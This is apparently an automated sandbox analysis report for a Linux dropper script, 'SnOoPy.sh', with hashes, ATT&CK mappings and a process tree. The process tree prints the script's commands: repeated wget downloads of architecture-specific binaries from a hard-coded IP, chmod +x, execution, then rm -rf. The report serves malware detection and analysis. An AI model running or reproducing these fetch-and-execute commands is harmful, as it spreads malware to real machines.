78276bd481a04c29109fbbd8313701e5b814165fa4b48515ec4489ccfda93107

Analysis

max time kernel
30s
max time network
132s
platform
ubuntu-18.04_amd64
resource
ubuntu1804-amd64-20240611-en
resource tags

arch:amd64arch:i386image:ubuntu1804-amd64-20240611-enkernel:4.15.0-213-genericlocale:en-usos:ubuntu-18.04-amd64system
submitted
06-12-2024 14:06

Sharing

Copy URL

Twitter E-mail

Report Analysis Logs

General

Target

script_malware/SnOoPy.sh
Size

2KB
MD5

f0664749e65d26335de79a90c7074d00
SHA1

0deb03914ba232314b5214803dd97b94c1c9d9e5
SHA256

57ad07730428c1412ba43f4470c2074f4f0ef4e6eb5fcd24c9e19e49028e455a
SHA512

b605e84c23dad423a5e585c49957b0ade5f8764681f010fc1d192c81f677e4a849872db8afedd262e740f648aca18649a89420a54a02f1f1bd594c2125c2b6ff

Score

7^/10

defense_evasion discovery

Malware Config

Signatures

File and Directory Permissions Modification 1 TTPs 13 IoCs

Adversaries may modify file or directory permissions to evade defenses.

defense_evasion

Linux and Mac File and Directory Permissions Modification

T1222.002

pid	Process
1509	chmod
1525	chmod
1529	chmod
1533	chmod
1537	chmod
1545	chmod
1549	chmod
1513	chmod
1517	chmod
1521	chmod
1541	chmod
1553	chmod
1559	chmod

System Network Configuration Discovery 1 TTPs 1 IoCs

Adversaries may gather information about the network configuration of a system.

discovery

System Network Configuration Discovery

T1016

pid	Process
1497	SnOoPy.sh

/tmp/script_malware/SnOoPy.sh
/tmp/script_malware/SnOoPy.sh
1⤵
- System Network Configuration Discovery
PID:1497
- /usr/bin/wget
  wget http://185.144.159.137/m-i.p-s.SNOOPY
  2⤵
  PID:1498
- /bin/chmod
  chmod +x m-i.p-s.SNOOPY
  2⤵
  - File and Directory Permissions Modification
  PID:1509
- /tmp/m-i.p-s.SNOOPY
  ./m-i.p-s.SNOOPY
  2⤵
  PID:1510
- /bin/rm
  rm -rf m-i.p-s.SNOOPY
  2⤵
  PID:1511
- /usr/bin/wget
  wget http://185.144.159.137/m-p.s-l.SNOOPY
  2⤵
  PID:1512
- /bin/chmod
  chmod +x m-p.s-l.SNOOPY
  2⤵
  - File and Directory Permissions Modification
  PID:1513
- /tmp/m-p.s-l.SNOOPY
  ./m-p.s-l.SNOOPY
  2⤵
  PID:1514
- /bin/rm
  rm -rf m-p.s-l.SNOOPY
  2⤵
  PID:1515
- /usr/bin/wget
  wget http://185.144.159.137/s-h.4-.SNOOPY
  2⤵
  PID:1516
- /bin/chmod
  chmod +x s-h.4-.SNOOPY
  2⤵
  - File and Directory Permissions Modification
  PID:1517
- /tmp/s-h.4-.SNOOPY
  ./s-h.4-.SNOOPY
  2⤵
  PID:1518
- /bin/rm
  rm -rf s-h.4-.SNOOPY
  2⤵
  PID:1519
- /usr/bin/wget
  wget http://185.144.159.137/x-8.6-.SNOOPY
  2⤵
  PID:1520
- /bin/chmod
  chmod +x x-8.6-.SNOOPY
  2⤵
  - File and Directory Permissions Modification
  PID:1521
- /tmp/x-8.6-.SNOOPY
  ./x-8.6-.SNOOPY
  2⤵
  PID:1522
- /bin/rm
  rm -rf x-8.6-.SNOOPY
  2⤵
  PID:1523
- /usr/bin/wget
  wget http://185.144.159.137/a-r.m-6.SNOOPY
  2⤵
  PID:1524
- /bin/chmod
  chmod +x a-r.m-6.SNOOPY
  2⤵
  - File and Directory Permissions Modification
  PID:1525
- /tmp/a-r.m-6.SNOOPY
  ./a-r.m-6.SNOOPY
  2⤵
  PID:1526
- /bin/rm
  rm -rf a-r.m-6.SNOOPY
  2⤵
  PID:1527
- /usr/bin/wget
  wget http://185.144.159.137/x-3.2-.SNOOPY
  2⤵
  PID:1528
- /bin/chmod
  chmod +x x-3.2-.SNOOPY
  2⤵
  - File and Directory Permissions Modification
  PID:1529
- /tmp/x-3.2-.SNOOPY
  ./x-3.2-.SNOOPY
  2⤵
  PID:1530
- /bin/rm
  rm -rf x-3.2-.SNOOPY
  2⤵
  PID:1531
- /usr/bin/wget
  wget http://185.144.159.137/a-r.m-7.SNOOPY
  2⤵
  PID:1532
- /bin/chmod
  chmod +x a-r.m-7.SNOOPY
  2⤵
  - File and Directory Permissions Modification
  PID:1533
- /tmp/a-r.m-7.SNOOPY
  ./a-r.m-7.SNOOPY
  2⤵
  PID:1534
- /bin/rm
  rm -rf a-r.m-7.SNOOPY
  2⤵
  PID:1535
- /usr/bin/wget
  wget http://185.144.159.137/p-p.c-.SNOOPY
  2⤵
  PID:1536
- /bin/chmod
  chmod +x p-p.c-.SNOOPY
  2⤵
  - File and Directory Permissions Modification
  PID:1537
- /tmp/p-p.c-.SNOOPY
  ./p-p.c-.SNOOPY
  2⤵
  PID:1538
- /bin/rm
  rm -rf p-p.c-.SNOOPY
  2⤵
  PID:1539
- /usr/bin/wget
  wget http://185.144.159.137/i-5.8-6.SNOOPY
  2⤵
  PID:1540
- /bin/chmod
  chmod +x i-5.8-6.SNOOPY
  2⤵
  - File and Directory Permissions Modification
  PID:1541
- /tmp/i-5.8-6.SNOOPY
  ./i-5.8-6.SNOOPY
  2⤵
  PID:1542
- /bin/rm
  rm -rf i-5.8-6.SNOOPY
  2⤵
  PID:1543
- /usr/bin/wget
  wget http://185.144.159.137/m-6.8-k.SNOOPY
  2⤵
  PID:1544
- /bin/chmod
  chmod +x m-6.8-k.SNOOPY
  2⤵
  - File and Directory Permissions Modification
  PID:1545
- /tmp/m-6.8-k.SNOOPY
  ./m-6.8-k.SNOOPY
  2⤵
  PID:1546
- /bin/rm
  rm -rf m-6.8-k.SNOOPY
  2⤵
  PID:1547
- /usr/bin/wget
  wget http://185.144.159.137/p-p.c-.SNOOPY
  2⤵
  PID:1548
- /bin/chmod
  chmod +x p-p.c-.SNOOPY
  2⤵
  - File and Directory Permissions Modification
  PID:1549
- /tmp/p-p.c-.SNOOPY
  ./p-p.c-.SNOOPY
  2⤵
  PID:1550
- /bin/rm
  rm -rf p-p.c-.SNOOPY
  2⤵
  PID:1551
- /usr/bin/wget
  wget http://185.144.159.137/a-r.m-4.SNOOPY
  2⤵
  PID:1552
- /bin/chmod
  chmod +x a-r.m-4.SNOOPY
  2⤵
  - File and Directory Permissions Modification
  PID:1553
- /tmp/a-r.m-4.SNOOPY
  ./a-r.m-4.SNOOPY
  2⤵
  PID:1554
- /bin/rm
  rm -rf a-r.m-4.SNOOPY
  2⤵
  PID:1555
- /usr/bin/wget
  wget http://185.144.159.137/a-r.m-5.SNOOPY
  2⤵
  PID:1556
- /bin/chmod
  chmod +x a-r.m-5.SNOOPY
  2⤵
  - File and Directory Permissions Modification
  PID:1559
- /tmp/a-r.m-5.SNOOPY
  ./a-r.m-5.SNOOPY
  2⤵
  PID:1560
- /bin/rm
  rm -rf a-r.m-5.SNOOPY
  2⤵
  PID:1561

Network

MITRE ATT&CK Enterprise v15

Reconnaissance

Resource Development

Initial Access

Execution

Persistence

Privilege Escalation

Defense Evasion

File and Directory Permissions Modification

T1222

Linux and Mac File and Directory Permissions Modification

T1222.002

Credential Access

Discovery

System Network Configuration Discovery

T1016

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

Analysis

Sharing

General

Malware Config

Signatures

Processes

Network

MITRE ATT&CK Enterprise v15

Replay Monitor

Loading Replay Monitor...

Downloads